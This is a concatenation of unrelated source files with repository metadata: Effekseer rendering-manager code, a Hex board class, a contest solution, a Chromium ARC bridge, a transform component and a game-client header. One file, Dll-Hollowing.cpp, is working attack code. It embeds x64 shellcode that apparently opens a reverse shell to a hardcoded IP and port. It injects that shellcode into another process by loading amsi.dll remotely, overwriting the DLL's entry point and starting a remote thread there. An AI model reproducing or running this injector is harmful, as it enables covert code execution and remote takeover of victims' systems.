(container->m_pEffectNode->DepthValues.DepthParameter.DepthClipping > FLT_MAX / 10) return false; Vec3f pos = drawSet.GlobalMatrix.GetTranslation(); auto distance = Vec3f::Dot(Vec3f(drawParameter.CameraPosition) - pos, Vec3f(drawParameter.CameraDirection)); if (container->m_pEffectNode->DepthValues.DepthParameter.DepthClipping < distance) { return true; } else { return false; } } void ManagerImplemented::Draw(const Manager::DrawParameter& drawParameter) { std::lock_guard<std::mutex> lock(m_renderingMutex); // start to record a time int64_t beginTime = ::Effekseer::GetTime(); if (m_culled) { for (size_t i = 0; i < m_culledObjects.size(); i++) { DrawSet& drawSet = *m_culledObjects[i]; if (drawSet.InstanceContainerPointer == nullptr) { continue; } if (drawSet.IsShown && drawSet.IsAutoDrawing && ((drawParameter.CameraCullingMask & (1 << drawSet.Layer)) != 0)) { if (drawSet.GlobalPointer->RenderedInstanceContainers.size() > 0) { for (auto& c : drawSet.GlobalPointer->RenderedInstanceContainers) { if (IsClippedWithDepth(drawSet, c, drawParameter)) continue; c->Draw(false); } } else { drawSet.InstanceContainerPointer->Draw(true); } } } } else { for (size_t i = 0; i < m_renderingDrawSets.size(); i++) { DrawSet& drawSet = m_renderingDrawSets[i]; if (drawSet.InstanceContainerPointer == nullptr) { continue; } if (drawSet.IsShown && drawSet.IsAutoDrawing && ((drawParameter.CameraCullingMask & (1 << drawSet.Layer)) != 0)) { if (drawSet.GlobalPointer->RenderedInstanceContainers.size() > 0) { for (auto& c : drawSet.GlobalPointer->RenderedInstanceContainers) { if (IsClippedWithDepth(drawSet, c, drawParameter)) continue; c->Draw(false); } } else { drawSet.InstanceContainerPointer->Draw(true); } } } } // calculate a time m_drawTime = (int)(Effekseer::GetTime() - beginTime); } void ManagerImplemented::DrawBack(const Manager::DrawParameter& drawParameter) { std::lock_guard<std::mutex> lock(m_renderingMutex); // start to record a time int64_t beginTime = ::Effekseer::GetTime(); if (m_culled) { for (size_t i = 0; i < m_culledObjects.size(); i++) { DrawSet& drawSet = *m_culledObjects[i]; if (drawSet.InstanceContainerPointer == nullptr) { continue; } if (drawSet.IsShown && drawSet.IsAutoDrawing && ((drawParameter.CameraCullingMask & (1 << drawSet.Layer)) != 0)) { auto e = (EffectImplemented*)drawSet.ParameterPointer; for (int32_t j = 0; j < e->renderingNodesThreshold; j++) { if (IsClippedWithDepth(drawSet, drawSet.GlobalPointer->RenderedInstanceContainers[j], drawParameter)) continue; drawSet.GlobalPointer->RenderedInstanceContainers[j]->Draw(false); } } } } else { for (size_t i = 0; i < m_renderingDrawSets.size(); i++) { DrawSet& drawSet = m_renderingDrawSets[i]; if (drawSet.InstanceContainerPointer == nullptr) { continue; } if (drawSet.IsShown && drawSet.IsAutoDrawing && ((drawParameter.CameraCullingMask & (1 << drawSet.Layer)) != 0)) { auto e = (EffectImplemented*)drawSet.ParameterPointer; for (int32_t j = 0; j < e->renderingNodesThreshold; j++) { if (IsClippedWithDepth(drawSet, drawSet.GlobalPointer->RenderedInstanceContainers[j], drawParameter)) continue; drawSet.GlobalPointer->RenderedInstanceContainers[j]->Draw(false); } } } } // calculate a time m_drawTime = (int)(Effekseer::GetTime() - beginTime); } void ManagerImplemented::DrawFront(const Manager::DrawParameter& drawParameter) { std::lock_guard<std::mutex> lock(m_renderingMutex); // start to record a time int64_t beginTime = ::Effekseer::GetTime(); if (m_culled) { for (size_t i = 0; i < m_culledObjects.size(); i++) { DrawSet& drawSet = *m_culledObjects[i]; if (drawSet.InstanceContainerPointer == nullptr) { continue; } if (drawSet.IsShown && drawSet.IsAutoDrawing && ((drawParameter.CameraCullingMask & (1 << drawSet.Layer)) != 0)) { if (drawSet.GlobalPointer->RenderedInstanceContainers.size() > 0) { auto e = (EffectImplemented*)drawSet.ParameterPointer; for (size_t j = e->renderingNodesThreshold; j < drawSet.GlobalPointer->RenderedInstanceContainers.size(); j++) { if (IsClippedWithDepth(drawSet, drawSet.GlobalPointer->RenderedInstanceContainers[j], drawParameter)) continue; drawSet.GlobalPointer->RenderedInstanceContainers[j]->Draw(false); } } else { drawSet.InstanceContainerPointer->Draw(true); } } } } else { for (size_t i = 0; i < m_renderingDrawSets.size(); i++) { DrawSet& drawSet = m_renderingDrawSets[i]; if (drawSet.InstanceContainerPointer == nullptr) { continue; } if (drawSet.IsShown && drawSet.IsAutoDrawing && ((drawParameter.CameraCullingMask & (1 << drawSet.Layer)) != 0)) { if (drawSet.GlobalPointer->RenderedInstanceContainers.size() > 0) { auto e = (EffectImplemented*)drawSet.ParameterPointer; for (size_t j = e->renderingNodesThreshold; j < drawSet.GlobalPointer->RenderedInstanceContainers.size(); j++) { if (IsClippedWithDepth(drawSet, drawSet.GlobalPointer->RenderedInstanceContainers[j], drawParameter)) continue; drawSet.GlobalPointer->RenderedInstanceContainers[j]->Draw(false); } } else { drawSet.InstanceContainerPointer->Draw(true); } } } } // calculate a time m_drawTime = (int)(Effekseer::GetTime() - beginTime); } Handle ManagerImplemented::Play(Effect* effect, float x, float y, float z) { return Play(effect, Vector3D(x, y, z), 0); } Handle ManagerImplemented::Play(Effect* effect, const Vector3D& position, int32_t startFrame) { if (effect == nullptr) return -1; auto e = (EffectImplemented*)effect; // Create root InstanceGlobal* pGlobal = new InstanceGlobal(); int32_t randomSeed = 0; if (e->m_defaultRandomSeed >= 0) { randomSeed = e->m_defaultRandomSeed; } else { randomSeed = GetRandFunc()(); } pGlobal->SetSeed(randomSeed); pGlobal->dynamicInputParameters = e->defaultDynamicInputs; pGlobal->RenderedInstanceContainers.resize(e->renderingNodesCount); for (size_t i = 0; i < pGlobal->RenderedInstanceContainers.size(); i++) { pGlobal->RenderedInstanceContainers[i] = nullptr; } // create a dateSet without an instance // an instance is created in Preupdate because effects need to show instances without update(0 frame) Handle handle = AddDrawSet(effect, nullptr, pGlobal); auto& drawSet = m_DrawSets[handle]; drawSet.GlobalMatrix = Mat43f::Translation(position); drawSet.IsParameterChanged = true; drawSet.StartFrame = startFrame; drawSet.RandomSeed = randomSeed; return handle; } int ManagerImplemented::GetCameraCullingMaskToShowAllEffects() { int mask = 0; for (auto& ds : m_DrawSets) { auto layer = 1 << ds.second.Layer; mask |= layer; } return mask; } void ManagerImplemented::DrawHandle(Handle handle, const Manager::DrawParameter& drawParameter) { std::lock_guard<std::mutex> lock(m_renderingMutex); auto it = m_renderingDrawSetMaps.find(handle); if (it != m_renderingDrawSetMaps.end()) { DrawSet& drawSet = it->second; if (drawSet.InstanceContainerPointer == nullptr) { return; } if (m_culled) { if (m_culledObjectSets.find(drawSet.Self) != m_culledObjectSets.end()) { if (drawSet.IsShown) { if (drawSet.GlobalPointer->RenderedInstanceContainers.size() > 0) { for (auto& c : drawSet.GlobalPointer->RenderedInstanceContainers) { if (IsClippedWithDepth(drawSet, c, drawParameter)) continue; c->Draw(false); } } else { drawSet.InstanceContainerPointer->Draw(true); } } } } else { if (drawSet.IsShown) { if (drawSet.GlobalPointer->RenderedInstanceContainers.size() > 0) { for (auto& c : drawSet.GlobalPointer->RenderedInstanceContainers) { if (IsClippedWithDepth(drawSet, c, drawParameter)) continue; c->Draw(false); } } else { drawSet.InstanceContainerPointer->Draw(true); } } } } } void ManagerImplemented::DrawHandleBack(Handle handle, const Manager::DrawParameter& drawParameter) { std::lock_guard<std::mutex> lock(m_renderingMutex); std::map<Handle, DrawSet>::iterator it = m_renderingDrawSetMaps.find(handle); if (it != m_renderingDrawSetMaps.end()) { DrawSet& drawSet = it->second; auto e = (EffectImplemented*)drawSet.ParameterPointer; if (m_culled) { if (m_culledObjectSets.find(drawSet.Self) != m_culledObjectSets.end()) { if (drawSet.IsShown) { for (int32_t i = 0; i < e->renderingNodesThreshold; i++) { if (IsClippedWithDepth(drawSet, drawSet.GlobalPointer->RenderedInstanceContainers[i], drawParameter)) continue; drawSet.GlobalPointer->RenderedInstanceContainers[i]->Draw(false); } } } } else { if (drawSet.IsShown) { for (int32_t i = 0; i < e->renderingNodesThreshold; i++) { if (IsClippedWithDepth(drawSet, drawSet.GlobalPointer->RenderedInstanceContainers[i], drawParameter)) continue; drawSet.GlobalPointer->RenderedInstanceContainers[i]->Draw(false); } } } } } void ManagerImplemented::DrawHandleFront(Handle handle, const Manager::DrawParameter& drawParameter) { std::lock_guard<std::mutex> lock(m_renderingMutex); std::map<Handle, DrawSet>::iterator it = m_renderingDrawSetMaps.find(handle); if (it != m_renderingDrawSetMaps.end()) { DrawSet& drawSet = it->second; auto e = (EffectImplemented*)drawSet.ParameterPointer; if (drawSet.InstanceContainerPointer == nullptr) { return; } if (m_culled) { if (m_culledObjectSets.find(drawSet.Self) != m_culledObjectSets.end()) { if (drawSet.IsShown) { if (drawSet.GlobalPointer->RenderedInstanceContainers.size() > 0) { for (size_t i = e->renderingNodesThreshold; i < drawSet.GlobalPointer->RenderedInstanceContainers.size(); i++) { if (IsClippedWithDepth(drawSet, drawSet.GlobalPointer->RenderedInstanceContainers[i], drawParameter)) continue; drawSet.GlobalPointer->RenderedInstanceContainers[i]->Draw(false); } } else { drawSet.InstanceContainerPointer->Draw(true); } } } } else { if (drawSet.IsShown) { if (drawSet.GlobalPointer->RenderedInstanceContainers.size() > 0) { for (size_t i = e->renderingNodesThreshold; i < drawSet.GlobalPointer->RenderedInstanceContainers.size(); i++) { if (IsClippedWithDepth(drawSet, drawSet.GlobalPointer->RenderedInstanceContainers[i], drawParameter)) continue; drawSet.GlobalPointer->RenderedInstanceContainers[i]->Draw(false); } } else { drawSet.InstanceContainerPointer->Draw(true); } } } } } int ManagerImplemented::GetUpdateTime() const { return m_updateTime; }; int ManagerImplemented::GetDrawTime() const { return m_drawTime; }; int32_t ManagerImplemented::GetRestInstancesCount() const { return static_cast<int32_t>(pooledChunks_.size()) * InstanceChunk::InstancesOfChunk; } void ManagerImplemented::BeginReloadEffect(Effect* effect, bool doLockThread) { if (doLockThread) { m_renderingMutex.lock(); m_isLockedWithRenderingMutex = true; } for (auto& it : m_DrawSets) { if (it.second.ParameterPointer != effect) continue; if (it.second.InstanceContainerPointer == nullptr) { continue; } // dispose instances it.second.InstanceContainerPointer->KillAllInstances(true); /* for (int32_t i = 0; i < 3; i++) { it.second.GlobalPointer->BeginDeltaFrame(0.0f); UpdateInstancesByInstanceGlobal(it.second); UpdateHandleInternal(it.second); it.second.GlobalPointer->EndDeltaFrame(); } */ it.second.InstanceContainerPointer->RemoveForcibly(true); ReleaseInstanceContainer(it.second.InstanceContainerPointer); it.second.InstanceContainerPointer = NULL; ES_SAFE_RELEASE(it.second.CullingObjectPointer); } } void ManagerImplemented::EndReloadEffect(Effect* effect, bool doLockThread) { for (auto& it : m_DrawSets) { auto& ds = it.second; if (ds.ParameterPointer != effect) continue; if (it.second.InstanceContainerPointer != nullptr) { continue; } auto e = static_cast<EffectImplemented*>(effect); auto pGlobal = ds.GlobalPointer; // reallocate pGlobal->SetSeed(ds.RandomSeed); pGlobal->RenderedInstanceContainers.resize(e->renderingNodesCount); for (size_t i = 0; i < pGlobal->RenderedInstanceContainers.size(); i++) { pGlobal->RenderedInstanceContainers[i] = nullptr; } auto frame = ds.GlobalPointer->GetUpdatedFrame(); ds.IsPreupdated = false; ds.IsParameterChanged = true; ds.StartFrame = 0; ds.GoingToStop = false; ds.GoingToStopRoot = false; ds.IsRemoving = false; pGlobal->ResetUpdatedFrame(); // Create an instance through a container // ds.InstanceContainerPointer = // CreateInstanceContainer(e->GetRoot(), ds.GlobalPointer, true, ds.GlobalMatrix, NULL); auto isShown = ds.IsShown; ds.IsShown = false; Preupdate(ds); // skip for (float f = 0; f < frame - 1; f += 1.0f) { ds.GlobalPointer->BeginDeltaFrame(1.0f); UpdateInstancesByInstanceGlobal(ds); UpdateHandleInternal(ds); // UpdateInstancesByInstanceGlobal(ds); // ds.InstanceContainerPointer->Update(true, false); ds.GlobalPointer->EndDeltaFrame(); } ds.IsShown = isShown; ds.GlobalPointer->BeginDeltaFrame(1.0f); UpdateInstancesByInstanceGlobal(ds); UpdateHandleInternal(ds); // UpdateInstancesByInstanceGlobal(ds); // ds.InstanceContainerPointer->Update(true, ds.IsShown); ds.GlobalPointer->EndDeltaFrame(); } Flip(); if (doLockThread) { m_renderingMutex.unlock(); m_isLockedWithRenderingMutex = false; } // Update(0); } void ManagerImplemented::CreateCullingWorld(float xsize, float ysize, float zsize, int32_t layerCount) { cullingNext.SizeX = xsize; cullingNext.SizeY = ysize; cullingNext.SizeZ = zsize; cullingNext.LayerCount = layerCount; } void ManagerImplemented::CalcCulling(const Matrix44& cameraProjMat, bool isOpenGL) { if (m_cullingWorld == NULL) return; m_culledObjects.clear(); m_culledObjectSets.clear(); Matrix44 mat = cameraProjMat; mat.Transpose(); Culling3D::Matrix44 cullingMat; for (int32_t c = 0; c < 4; c++) { for (int32_t r = 0; r < 4; r++) { cullingMat.Values[c][r] = mat.Values[c][r]; } } m_cullingWorld->Culling(cullingMat, isOpenGL); for (int32_t i = 0; i < m_cullingWorld->GetObjectCount(); i++) { Culling3D::Object* o = m_cullingWorld->GetObject(i); DrawSet* ds = (DrawSet*)o->GetUserData(); m_culledObjects.push_back(ds); m_culledObjectSets.insert(ds->Self); } // sort with handle std::sort(m_culledObjects.begin(), m_culledObjects.end(), [](auto const& lhs, auto const& rhs) { return lhs->Self > rhs->Self; }); m_culled = true; } void ManagerImplemented::RessignCulling() { if (m_cullingWorld == NULL) return; m_culledObjects.clear(); m_culledObjectSets.clear(); m_cullingWorld->Reassign(); } } // namespace Effekseer
[ "9mrswang9@gmail.com" ]
9mrswang9@gmail.com
b7d3ea77832041fc4b72980263e1c55e03b51aac
fbe1a45cefd8ce965b81870bc0ff3632ce3967a4
/hex_3_maartje/board.cpp
c6b8f1dd8063939a44353d918a1aa5c86099f059
[]
no_license
maartjeth/summerschool
1c651bcc5686f4895b70c23c3bfe01b59da6f7ee
87c88e8a370c9c09c2a0844a4aefef9c7470dfbe
refs/heads/master
2020-05-31T17:01:54.337592
2015-07-10T13:18:50
2015-07-10T13:18:50
38,610,815
0
0
null
null
null
null
UTF-8
C++
false
false
3,487
cpp
/* Author: Maartje ter Hoeve Class that constructs the board. */ #include <iostream> #include <stdexcept> #include "block.h" #include "board.h" using namespace std; //CLASS BLOCK Block::Block() { player = -1; } // Constructor: Set player to a Block::Block(int a) { try { if ((a == 1) || (a == -1)) { player = a; } else { throw 1; } } catch (int e) { cout << "This is not valid input.\n"; } // if (!((a == 1) || (a == -1))) // { // throw invalid_argument("Value should be set to 1 or -1!"); // //player = a; // } // else // { // player = a; // //throw invalid_argument("Value should be set to 1 or -1."); // } } // Setter to change player's value if needed void Block::setPlayer(int a) { try { if ((a == 1) || (a == -1)) { player = a; } else { throw 1; } } catch (int e) { cout << "This is not valid input.\n"; } } // Getter to get the player's value int Block::getPlayer(void) { return player; } /*class Board { Block* boardPointer; public: Board(); Board(int); //getBoard.... }; */ //CLASS BOARD Board::Board() { cout << "blablabla"; } Board::Board(int arrayLength) { //Block boardArray[arrayLength]; //boardPointer = & //boardPointer = new Block[arrayLength]; //Block test[arrayLength]; cout << "test"; } int main() { cout << "hey there!"; Block blockArray[12]; for(int i = 0; i < 12; i++){ blockArray[i].setPlayer(1);//Alles is bezet door speler 1 int testValue = blockArray[i].getPlayer(); cout << testValue; } //Board board1; //Board board1(12); //Block block1(-1); return 0; } // OLD CODE STARTING FROM THIS POINT /*class Board { int width; int height; Block[] board; public: Board(); Board(int, int); void makeBoard(int, int); // this might have to return an array (which is not allowed in c++) }; */ /*Board::Board() { width = 12; height = 12; } Board::Board(int a, int b) { width = a; height = b; } Block* Board::constructBoard(int arrayLength) { Block board[arrayLength]; return board; } // Returns a pointer to a pointer to an array --> ultimately creating a pointer to a 2D array? /*Block** Board::constructBoard(int width, int height) { // creating a 2D array Block **board; board = new Block*[width]; for (int i=0; i<width; i++) { board[i] = new Block[height]; // each i-th pointer is now pointing to a dynamic array (size 10) of block values --> 2D array created } //static Block board[12][12]; // needs to be static as c++ does not advocate to return the address of a local variable to outside of the function return board; } */ /* void Board::makeBoard(int width, int height) { Block board[width][height]; cout << board; } */ /* STILL TO BE DONE: Test whether this really works */ /* int main() { Board board; board.constructBoard(10); // board.makeBoard(12, 12); //Block** boardArray = board.constructBoard(12,12); /*for (int i=0; i<12; i++) { for (int j=0; j<12; j++) { Block test(1); boardArray[i][j] = test; } } *; //cout << boardArray[5][5]; */ //}
[ "maartjeterhoeve@gmail.com" ]
maartjeterhoeve@gmail.com
409dbc547f626d14a802f018bc8c721b141f96c8
aae79375bee5bbcaff765fc319a799f843b75bac
/yukicoder_0xx/43.cpp
54b91e8a50af4b938a753edc51840a16a00404d2
[]
no_license
firewood/topcoder
b50b6a709ea0f5d521c2c8870012940f7adc6b19
4ad02fc500bd63bc4b29750f97d4642eeab36079
refs/heads/master
2023-08-17T18:50:01.575463
2023-08-11T10:28:59
2023-08-11T10:28:59
1,628,606
21
6
null
null
null
null
UTF-8
C++
false
false
909
cpp
#include <iostream> #include <algorithm> #include <sstream> #include <numeric> using namespace std; int main(int argc, char *argv[]) { string s; getline(cin, s); stringstream sa(s); int N; sa >> N; string res[6]; for (int i = 0; i < N; ++i) { getline(cin, res[i]); } int ans = N; int m = 1 << (N * (N - 1) / 2); for (int b = 0; b < m; ++b) { int r[6][6] = {}; int pos = 0; int score[6] = {}; int f[7] = {}; for (int i = 0; i < N; ++i) { for (int j = i + 1; j < N; ++j) { if (res[i][j] == '-') { r[i][j] = ((1 << pos) & b) != 0; r[j][i] = r[i][j] ^ 1; } else { r[i][j] = res[i][j] == 'o'; r[j][i] = res[j][i] == 'o'; } ++pos; } score[i] = accumulate(r[i], r[i] + N, 0); f[score[i]] += 1; } int a = 1; for (int i = N; i > score[0]; --i) { if (f[i]) { ++a; } } ans = min(ans, a); } cout << ans << endl; return 0; }
[ "karamaki@gmail.com" ]
karamaki@gmail.com
629476b5237d66faac6eb101573b94ac770590ae
9adbc22c95b97908a453edd2ef547cf78ae34c27
/Dll-Hollowing/Dll-Hollowing.cpp
f5b94ad5f8f6a301044ffabf6a3afe9e969f5064
[]
no_license
idiotc4t/Dll-Hollowing
8875d3288c1155d0a04863a449f686c3fc37de42
41969b87f5295ecde01f1470d2eda6da40d6d25c
refs/heads/master
2022-07-03T14:45:57.131220
2020-05-09T06:52:40
2020-05-09T06:52:40
262,508,844
2
1
null
null
null
null
UTF-8
C++
false
false
4,117
cpp
#include <iostream> #include <Windows.h> #include <psapi.h> char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xba\x8e\x41\x54\x49\x89\xe4" "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\x49\xff\xce\x75\xe5" "\x68\xf0\xb5\xa2\x56\xff\xd5\x48\x83\xec\x10\x48\x89\xe2\x4d" "\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f" "\xff\xd5\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00" "\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4" "\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89" "\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" "\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xe1\x41\xff\xe7"; int main(int argc, char* argv[]) { TCHAR ModuleName[] = L"C:\\windows\\system32\\amsi.dll"; HMODULE hModules[256] = {}; SIZE_T hModulesSize = sizeof(hModules); DWORD hModulesSizeNeeded = 0; DWORD moduleNameSize = 0; SIZE_T hModulesCount = 0; CHAR rModuleName[128] = {}; HMODULE rModule = NULL; // inject a benign DLL into remote process //hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 18552); LPVOID lprBuffer = VirtualAllocEx(hProcess, NULL, sizeof ModuleName, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, lprBuffer, (LPVOID)ModuleName, sizeof ModuleName, NULL); PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, threadRoutine, lprBuffer, 0, NULL); WaitForSingleObject(dllThread, 1000); // find base address of the injected benign DLL in remote process EnumProcessModules(hProcess, hModules, hModulesSize, &hModulesSizeNeeded); hModulesCount = hModulesSizeNeeded / sizeof(HMODULE); for (size_t i = 0; i < hModulesCount; i++) { rModule = hModules[i]; GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName)); if (std::string(rModuleName).compare("amsi.dll") == 0) { break; } } // get DLL's AddressOfEntryPoint DWORD headerBufferSize = 0x1000; LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize); ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peHeader; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + dosHeader->e_lfanew); LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule); // write shellcode to DLL's AddressofEntryPoint WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL); // execute shellcode from inside the benign DLL CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL); return 0; }
[ "1959132915@qq.com" ]
1959132915@qq.com
94b7ab077cb44a39d77b04e842d2ca5916d7257a
9f16950a070174c4ad6419b6aa48e0b3fd34a09e
/users/marcel/sceneedit1/components/transformComponent.cpp
7126249e06d6f26bd7fcd644d061daeec9a7af5d
[]
no_license
marcel303/framework
594043fad6a261ce2f8e862f921aee1192712612
9459898c280223b853bf16d6e382a6f7c573e10e
refs/heads/master
2023-05-14T02:30:51.063401
2023-05-07T07:57:12
2023-05-07T10:16:34
112,006,739
53
1
null
2020-01-13T18:48:32
2017-11-25T13:45:56
C++
UTF-8
C++
false
false
1,363
cpp
#include "Mat4x4.h" #include "Quat.h" #include "scene.h" #include "sceneNodeComponent.h" #include "transformComponent.h" #include <math.h> TransformComponentMgr g_transformComponentMgr; void TransformComponentMgr::calculateTransformsTraverse(Scene & scene, SceneNode & node, const Mat4x4 & globalTransform) const { auto * sceneNodeComp = node.components.find<SceneNodeComponent>(); auto * transformComp = node.components.find<TransformComponent>(); Mat4x4 newGlobalTransform; if (transformComp != nullptr && transformComp->enabled) { Quat q; q.fromAxisAngle(transformComp->angleAxis.axis, transformComp->angleAxis.angle * float(M_PI) / 180.f); const Mat4x4 localTransform = Mat4x4(true) .Translate(transformComp->position) .Rotate(q) .Scale(transformComp->uniformScale) .Scale(transformComp->scale); newGlobalTransform = globalTransform * localTransform; } else { newGlobalTransform = globalTransform; } if (sceneNodeComp != nullptr) { sceneNodeComp->objectToWorld = newGlobalTransform; } for (auto childNodeId : node.childNodeIds) { SceneNode & childNode = scene.getNode(childNodeId); calculateTransformsTraverse(scene, childNode, newGlobalTransform); } } void TransformComponentMgr::calculateTransforms(Scene & scene) const { calculateTransformsTraverse(scene, scene.getRootNode(), Mat4x4(true)); }
[ "marcel303@gmail.com" ]
marcel303@gmail.com
33d93bf6eacf7e5ac09c231dda414a3cf38c70af
04b1803adb6653ecb7cb827c4f4aa616afacf629
/components/arc/app_permissions/arc_app_permissions_bridge.cc
c36978c4c8e1a84c174c8d21836ce33b3623336f
[ "BSD-3-Clause" ]
permissive
Samsung/Castanets
240d9338e097b75b3f669604315b06f7cf129d64
4896f732fc747dfdcfcbac3d442f2d2d42df264a
refs/heads/castanets_76_dev
2023-08-31T09:01:04.744346
2021-07-30T04:56:25
2021-08-11T05:45:21
125,484,161
58
49
BSD-3-Clause
2022-10-16T19:31:26
2018-03-16T08:07:37
null
UTF-8
C++
false
false
1,510
cc
// Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/arc/app_permissions/arc_app_permissions_bridge.h" #include "base/memory/singleton.h" #include "components/arc/arc_browser_context_keyed_service_factory_base.h" #include "components/arc/session/arc_bridge_service.h" namespace arc { namespace { class ArcAppPermissionsBridgeFactory : public internal::ArcBrowserContextKeyedServiceFactoryBase< ArcAppPermissionsBridge, ArcAppPermissionsBridgeFactory> { public: // Factory name used by ArcBrowserContextKeyedServiceFactoryBase. static constexpr const char* kName = "ArcAppPermissionsBridgeFactory"; static ArcAppPermissionsBridgeFactory* GetInstance() { return base::Singleton<ArcAppPermissionsBridgeFactory>::get(); } private: friend base::DefaultSingletonTraits<ArcAppPermissionsBridgeFactory>; ArcAppPermissionsBridgeFactory() = default; ~ArcAppPermissionsBridgeFactory() override = default; }; } // namespace // static ArcAppPermissionsBridge* ArcAppPermissionsBridge::GetForBrowserContext( content::BrowserContext* context) { return ArcAppPermissionsBridgeFactory::GetForBrowserContext(context); } ArcAppPermissionsBridge::ArcAppPermissionsBridge( content::BrowserContext* context, ArcBridgeService* bridge_service) {} ArcAppPermissionsBridge::~ArcAppPermissionsBridge() = default; } // namespace arc
[ "sunny.nam@samsung.com" ]
sunny.nam@samsung.com
355d0eb4d0e97091ea1dbff1733d4fd84c42f9b4
451acc9feaa52466ad4df8e68db2b787d5b18ac7
/Ponteiros/Teste2/Teste2/Origem.cpp
e910a89a13b249a1076746d800271d3b0f7799ac
[]
no_license
figueiredods/EstruturaDeDados_PSC_2019
05630c679900201647bab47ecfa06d314c105274
3821badf2e355f78bd29e0486a77ce02c17872c1
refs/heads/master
2020-06-04T01:15:58.185281
2019-06-05T20:38:51
2019-06-05T20:38:51
191,811,357
0
0
null
2019-06-13T18:07:10
2019-06-13T18:07:09
null
UTF-8
C++
false
false
561
cpp
#include <stdio.h> #include <stdlib.h> void reajusta20(float *preco, float *reajuste); int main() { float val_preco, val_reaj; do { printf("\nInsira o preco atual: "); scanf_s("%f", &val_preco); /* Envia os enderecos */ reajusta20(&val_preco, &val_reaj); printf("\n O preco novo eh %.2f\n", val_preco); printf("O aumento foi de %.2f\n", val_reaj); } while (val_preco != 0.0); system("pause"); return 0; } void reajusta20(float *preco, float *reajuste) { *reajuste = *preco * 0.2; *preco *= 1.2; }
[ "noreply@github.com" ]
figueiredods.noreply@github.com
92024436c283d7cfdd78ccaccf3be63876ec6aac
7c304a8da2dea6aad1e7c2299febe336019f8dc6
/Client/Inc/Actor/player.h
92aa1516497cc26f01f9d96b3b6e31f60c85c78e
[]
no_license
kwangminy27/KEngine
4b070a9dcb27a16b4917c6dce92dccfa55554d32
d95fbc98d183f63f8fb29e0d9d869c8db1b694e2
refs/heads/master
2020-04-24T04:21:37.841487
2019-02-27T14:50:13
2019-02-27T14:50:13
164,522,761
0
0
null
null
null
null
UTF-8
C++
false
false
608
h
#pragma once namespace K { class Player final : public ActorClient { friend class ObjectManager; public: virtual void Initialize() override; virtual APTR Clone() const override; virtual void Serialize(InputMemoryStream& _imstream) override; virtual void Serialize(OutputMemoryStream& _omstream) override; private: Player() = default; Player(Player const& _other); Player(Player&& _other) noexcept; Player& operator=(Player const&) = delete; Player& operator=(Player&&) noexcept = default; virtual void _Finalize() override; virtual void _Update(float _time) override; }; }
[ "kwangminy27@outlook.com" ]
kwangminy27@outlook.com
